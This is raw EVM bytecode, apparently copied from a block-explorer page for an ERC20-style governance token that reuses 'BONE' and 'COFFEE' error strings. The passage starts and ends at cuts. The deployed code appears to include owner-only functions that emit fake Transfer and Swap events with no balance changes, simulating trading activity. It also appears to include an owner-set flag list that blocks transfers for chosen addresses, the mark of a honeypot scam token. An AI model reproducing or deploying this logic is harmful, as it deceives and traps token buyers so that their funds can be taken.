fffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46124058284836124d9565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125155750600081115b1561277557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612647576000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116125b8576000612625565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612606919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382612635919061398f565b90506126438684848461277a565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612774576000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116126e5576000612752565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612733919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000838261276291906132b2565b90506127708584848461277a565b5050505b5b505050565b600061279e43604051806060016040528060368152602001613ab960369139612a7d565b905060008463ffffffff1611801561283c57508063ffffffff16600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612806919061339a565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156128b65781600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612890919061339a565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550612a26565b60405180604001604052808263ffffffff16815260200183815250600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561297591906139c3565b63ffffffff16116129bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b290613a6f565b60405180910390fd5b6001846129c891906139c3565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612a6e929190613a8f565b60405180910390a25050505050565b600064010000000083108290612ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac09190612b6c565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b0d578082015181840152602081019050612af2565b83811115612b1c576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b3e82612ad3565b612b488185612ade565b9350612b58818560208601612aef565b612b6181612b22565b840191505092915050565b60006020820190508181036000830152612b868184612b33565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bc382612b98565b9050919050565b612bd381612bb8565b8114612bde57600080fd5b50565b600081359050612bf081612bca565b92915050565b6000819050919050565b612c0981612bf6565b8114612c1457600080fd5b50565b600081359050612c2681612c00565b92915050565b60008060408385031215612c4357612c42612b8e565b5b6000612c5185828601612be1565b9250506020612c6285828601612c17565b9150509250929050565b60008115159050919050565b612c8181612c6c565b82525050565b6000602082019050612c9c6000830184612c78565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612cc757612cc6612ca2565b5b8235905067ffffffffffffffff811115612ce457612ce3612ca7565b5b602083019150836020820283011115612d0057612cff612cac565b5b9250929050565b60008060008060608587031215612d2157612d20612b8e565b5b600085013567ffffffffffffffff811115612d3f57612d3e612b93565b5b612d4b87828801612cb1565b94509450506020612d5e87828801612c17565b9250506040612d6f87828801612c17565b91505092959194509250565b612d8481612bf6565b82525050565b6000602082019050612d9f6000830184612d7b565b92915050565b600060208284031215612dbb57612dba612b8e565b5b6000612dc984828501612be1565b91505092915050565b6000819050919050565b612de581612dd2565b82525050565b6000602082019050612e006000830184612ddc565b92915050565b600080600060608486031215612e1f57612e1e612b8e565b5b6000612e2d86828701612be1565b9350506020612e3e86828701612be1565b9250506040612e4f86828701612c17565b9150509250925092565b600060ff82169050919050565b612e6f81612e59565b82525050565b6000602082019050612e8a6000830184612e66565b92915050565b60008060208385031215612ea757612ea6612b8e565b5b600083013567ffffffffffffffff811115612ec557612ec4612b93565b5b612ed185828601612cb1565b92509250509250929050565b612ee681612bb8565b82525050565b6000602082019050612f016000830184612edd565b92915050565b600063ffffffff82169050919050565b612f2081612f07565b82525050565b6000602082019050612f3b6000830184612f17565b92915050565b60008083601f840112612f5757612f56612ca2565b5b8235905067ffffffffffffffff811115612f7457612f73612ca7565b5b602083019150836020820283011115612f9057612f8f612cac565b5b9250929050565b60008060008060008060608789031215612fb457612fb3612b8e565b5b600087013567ffffffffffffffff811115612fd257612fd1612b93565b5b612fde89828a01612cb1565b9650965050602087013567ffffffffffffffff81111561300157613000612b93565b5b61300d89828a01612cb1565b9450945050604087013567ffffffffffffffff8111156130305761302f612b93565b5b61303c89828a01612f41565b92509250509295509295509295565b6000806040838503121561306257613061612b8e565b5b600061307085828601612be1565b925050602061308185828601612be1565b9150509250929050565b61309481612f07565b811461309f57600080fd5b50565b6000813590506130b18161308b565b92915050565b600080604083850312156130ce576130cd612b8e565b5b60006130dc85828601612be1565b92505060206130ed858286016130a2565b9150509250929050565b600060408201905061310c6000830185612f17565b6131196020830184612d7b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061316757607f821691505b6020821081141561317b5761317a613120565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b60006131df6131da6131d5846131b0565b6131ba565b612bf6565b9050919050565b6131ef816131c4565b82525050565b600060808201905061320a60008301876131e6565b6132176020830186612d7b565b6132246040830185612d7b565b61323160608301846131e6565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061327482612bf6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132a7576132a661323a565b5b600182019050919050565b60006132bd82612bf6565b91506132c883612bf6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132fd576132fc61323a565b5b828201905092915050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000613364602783612ade565b915061336f82613308565b604082019050919050565b6000602082019050818103600083015261339381613357565b9050919050565b60006133a582612f07565b91506133b083612f07565b9250828210156133c3576133c261323a565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061340882612f07565b915061341383612f07565b925082613423576134226133ce565b5b828204905092915050565b60006080820190506134436000830187612d7b565b61345060208301866131e6565b61345d60408301856131e6565b61346a6060830184612d7b565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006134cf602583612ade565b91506134da82613473565b604082019050919050565b600060208201905081810360008301526134fe816134c2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613561602683612ade565b915061356c82613505565b604082019050919050565b6000602082019050818103600083015261359081613554565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135f3602483612ade565b91506135fe82613597565b604082019050919050565b60006020820190508181036000830152613622816135e6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613685602283612ade565b915061369082613629565b604082019050919050565b600060208201905081810360008301526136b481613678565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136f1602083612ade565b91506136fc826136bb565b602082019050919050565b60006020820190508181036000830152613720816136e4565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061375d601d83612ade565b915061376882613727565b602082019050919050565b6000602082019050818103600083015261378c81613750565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006137ef602583612ade565b91506137fa82613793565b604082019050919050565b6000602082019050818103600083015261381e816137e2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613881602383612ade565b915061388c82613825565b604082019050919050565b600060208201905081810360008301526138b081613874565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613913602683612ade565b915061391e826138b7565b604082019050919050565b6000602082019050818103600083015261394281613906565b9050919050565b50565b6000613959600083612ade565b915061396482613949565b600082019050919050565b600060208201905081810360008301526139888161394c565b9050919050565b600061399a82612bf6565b91506139a583612bf6565b9250828210156139b8576139b761323a565b5b828203905092915050565b60006139ce82612f07565b91506139d983612f07565b92508263ffffffff038211156139f2576139f161323a565b5b828201905092915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000613a59603883612ade565b9150613a64826139fd565b604082019050919050565b60006020820190508181036000830152613a8881613a4c565b9050919050565b6000604082019050613aa46000830185612d7b565b613ab16020830184612d7b565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220abcb80383744202459cda249f0d69df907c89ee6bb98ceb21d41812c14ae529664736f6c634300080c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c8063715018a61161011a578063a457c2d7116100ad578063beabacc81161007c578063beabacc8146105fa578063dd62ed3e14610616578063e7a324dc14610646578063f1127ed814610664578063f2fde38b14610695576101fb565b8063a457c2d71461054e578063a7dec3811461057e578063a9059cbb1461059a578063b4b5ea57146105ca576101fb565b80637ecebe00116100e95780637ecebe00146104c65780638da5cb5b146104f657806395d89b4114610514578063a1c617f514610532576101fb565b8063715018a61461045457806377a1736b1461045e578063782d6fe11461047a5780637aac697b146104aa576101fb565b8063313ce567116101925780635c19a95c116101615780635c19a95c146103bc5780636fcfff45146103d857806370a08231146104085780637111a99414610438576101fb565b8063313ce567146103225780633950935114610340578063477e194414610370578063587cde1e1461038c576101fb565b806319ab453c116101ce57806319ab453c1461028857806320606b70146102a457806323b872dd146102c25780632f54bf6e146102f2576101fb565b806306fdde0314610200578063095ea7b31461021e5780630ca12b3d1461024e57806318160ddd1461026a575b600080fd5b6102086106b1565b6040516102159190612b6c565b60405180910390f35b61023860048036038101906102339190612c2c565b610743565b6040516102459190612c87565b60405180910390f35b61026860048036038101906102639190612d07565b610766565b005b61027261099b565b60405161027f9190612d8a565b60405180910390f35b6102a2600480360381019061029d9190612da5565b6109a5565b005b6102ac6109f1565b6040516102b99190612deb565b60405180910390f35b6102dc60048036038101906102d79190612e06565b610a15565b6040516102e99190612c87565b60405180910390f35b61030c60048036038101906103079190612da5565b610a44565b6040516103199190612c87565b60405180910390f35b61032a610a9a565b6040516103379190612e75565b60405180910390f35b61035a60048036038101906103559190612c2c565b610aa3565b6040516103679190612c87565b60405180910390f35b61038a60048036038101906103859190612e90565b610ada565b005b6103a660048036038101906103a19190612da5565b610b87565b6040516103b39190612eec565b60405180910390f35b6103d660048036038101906103d19190612da5565b610bf0565b005b6103f260048036038101906103ed9190612da5565b610bfd565b6040516103ff9190612f26565b60405180910390f35b610422600480360381019061041d9190612da5565b610c20565b60405161042f9190612d8a565b60405180910390f35b610452600480360381019061044d9190612f97565b610c69565b005b61045c610d5f565b005b61047860048036038101906104739190612e90565b610d73565b005b610494600480360381019061048f9190612c2c565b610efd565b6040516104a19190612d8a565b60405180910390f35b6104c460048036038101906104bf9190612d07565b6112d4565b005b6104e060048036038101906104db9190612da5565b611460565b6040516104ed9190612d8a565b60405180910390f35b6104fe611478565b60405161050b9190612eec565b60405180910390f35b61051c6114a1565b6040516105299190612b6c565b60405180910390f35b61054c60048036038101906105479190612d07565b611533565b005b61056860048036038101906105639190612c2c565b6116be565b6040516105759190612c87565b60405180910390f35b61059860048036038101906105939190612d07565b611735565b005b6105b460048036038101906105af9190612c2c565b611969565b6040516105c19190612c87565b60405180910390f35b6105e460048036038101906105df9190612da5565b61198c565b6040516105f19190612d8a565b60405180910390f35b610614600480360381019061060f9190612e06565b611a6b565b005b610630600480360381019061062b919061304b565b611ad5565b60405161063d9190612d8a565b60405180910390f35b61064e611b5c565b60405161065b9190612deb565b60405180910390f35b61067e600480360381019061067991906130b7565b611b80565b60405161068c9291906130f7565b60405180910390f35b6106af60048036038101906106aa9190612da5565b611bc1565b005b6060600680546106c09061314f565b80601f01602080910402602001604051908101604052809291908181526020018280546106ec9061314f565b80156107395780601f1061070e57610100808354040283529160200191610739565b820191906000526020600020905b81548152906001019060200180831161071c57829003601f168201915b5050505050905090565b60008061074e611c45565b905061075b818585611c4d565b600191505092915050565b60005b848490508110156109945784848281811061078757610786613181565b5b905060200201602081019061079c9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161082294939291906131f5565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061087657610875613181565b5b905060200201602081019061088b9190612da5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108d09190612d8a565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109799190612d8a565b60405180910390a3808061098c90613269565b915050610769565b5050505050565b6000600454905090565b6109ad611e18565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600080610a20611c45565b9050610a2d858285611e96565b610a38858585611f22565b60019150509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006012905090565b600080610aae611c45565b9050610acf818585610ac08589611ad5565b610aca91906132b2565b611c4d565b600191505092915050565b610ae2611e18565b60005b82829050811015610b8257600060026000858585818110610b0957610b08613181565b5b9050602002016020810190610b1e9190612da5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b7a90613269565b915050610ae5565b505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610bfa338261229a565b50565b600c6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610d5657848482818110610c8a57610c89613181565b5b9050602002016020810190610c9f9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610cc857610cc7613181565b5b9050602002016020810190610cdd9190612da5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610d2757610d26613181565b5b90506020020135604051610d3b9190612d8a565b60405180910390a38080610d4e90613269565b915050610c6c565b50505050505050565b610d67611e18565b610d71600061240b565b565b610d7b611e18565b60005b82829050811015610ef857600160026000858585818110610da257610da1613181565b5b9050602002016020810190610db79190612da5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610e5457610e53613181565b5b9050602002016020810190610e699190612da5565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610ed0868686818110610eb657610eb5613181565b5b9050602002016020810190610ecb9190612da5565b610c20565b604051610edd9190612d8a565b60405180910390a38080610ef090613269565b915050610d7e565b505050565b6000438210610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f389061337a565b60405180910390fd5b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610fae5760009150506112ce565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610ffd919061339a565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116110aa57600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183611084919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101549150506112ce565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561112b5760009150506112ce565b60008060018361113b919061339a565b90505b8163ffffffff168163ffffffff16111561126857600060028383611162919061339a565b61116c91906133fd565b82611177919061339a565b90506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415611237578060200151955050505050506112ce565b86816000015163ffffffff16101561125157819350611261565b60018261125e919061339a565b92505b505061113e565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60005b84849050811015611459578484828181106112f5576112f4613181565b5b905060200201602081019061130a9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161139094939291906131f5565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106113e4576113e3613181565b5b90506020020160208101906113f99190612da5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143e9190612d8a565b60405180910390a3808061145190613269565b9150506112d7565b5050505050565b600e6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546114b09061314f565b80601f01602080910402602001604051908101604052809291908181526020018280546114dc9061314f565b80156115295780601f106114fe57610100808354040283529160200191611529565b820191906000526020600020905b81548152906001019060200180831161150c57829003601f168201915b5050505050905090565b60005b848490508110156116b75784848281811061155457611553613181565b5b90506020020160208101906115699190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516115ee949392919061342e565b60405180910390a384848281811061160957611608613181565b5b905060200201602081019061161e9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169c9190612d8a565b60405180910390a380806116af90613269565b915050611536565b5050505050565b6000806116c9611c45565b905060006116d78286611ad5565b90508381101561171c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611713906134e5565b60405180910390fd5b6117298286868403611c4d565b60019250505092915050565b60005b848490508110156119625784848281811061175657611755613181565b5b905060200201602081019061176b9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516117f0949392919061342e565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118999190612d8a565b60405180910390a38484828181106118b4576118b3613181565b5b90506020020160208101906118c99190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119479190612d8a565b60405180910390a3808061195a90613269565b915050611738565b5050505050565b600080611974611c45565b9050611981818585611f22565b600191505092915050565b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116119f6576000611a63565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183611a44919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ac89190612d8a565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600d602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611bc9611e18565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3090613577565b60405180910390fd5b611c428161240b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb490613609565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d249061369b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e0b9190612d8a565b60405180910390a3505050565b611e20611c45565b73ffffffffffffffffffffffffffffffffffffffff16611e3e611478565b73ffffffffffffffffffffffffffffffffffffffff1614611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b90613707565b60405180910390fd5b565b6000611ea28484611ad5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611f1c5781811015611f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0590613773565b60405180910390fd5b611f1b8484848403611c4d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8990613805565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff990613897565b60405180910390fd5b61200d8383836124cf565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90613929565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121c85750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122245760011515600560009054906101000a900460ff16151514612223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221a9061396f565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122819190612d8a565b60405180910390a36122948484846124d4565b50505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061230984610c20565b905082600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46124058284836124d9565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125155750600081115b1561277557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612647576000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116125b8576000612625565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612606919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382612635919061398f565b90506126438684848461277a565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612774576000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116126e5576000612752565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612733919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000838261276291906132b2565b90506127708584848461277a565b5050505b5b505050565b600061279e43604051806060016040528060368152602001613ab960369139612a7d565b905060008463ffffffff1611801561283c57508063ffffffff16600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612806919061339a565b63ffffffff1663ffffffff1681526020019081526020016000206000016000905490610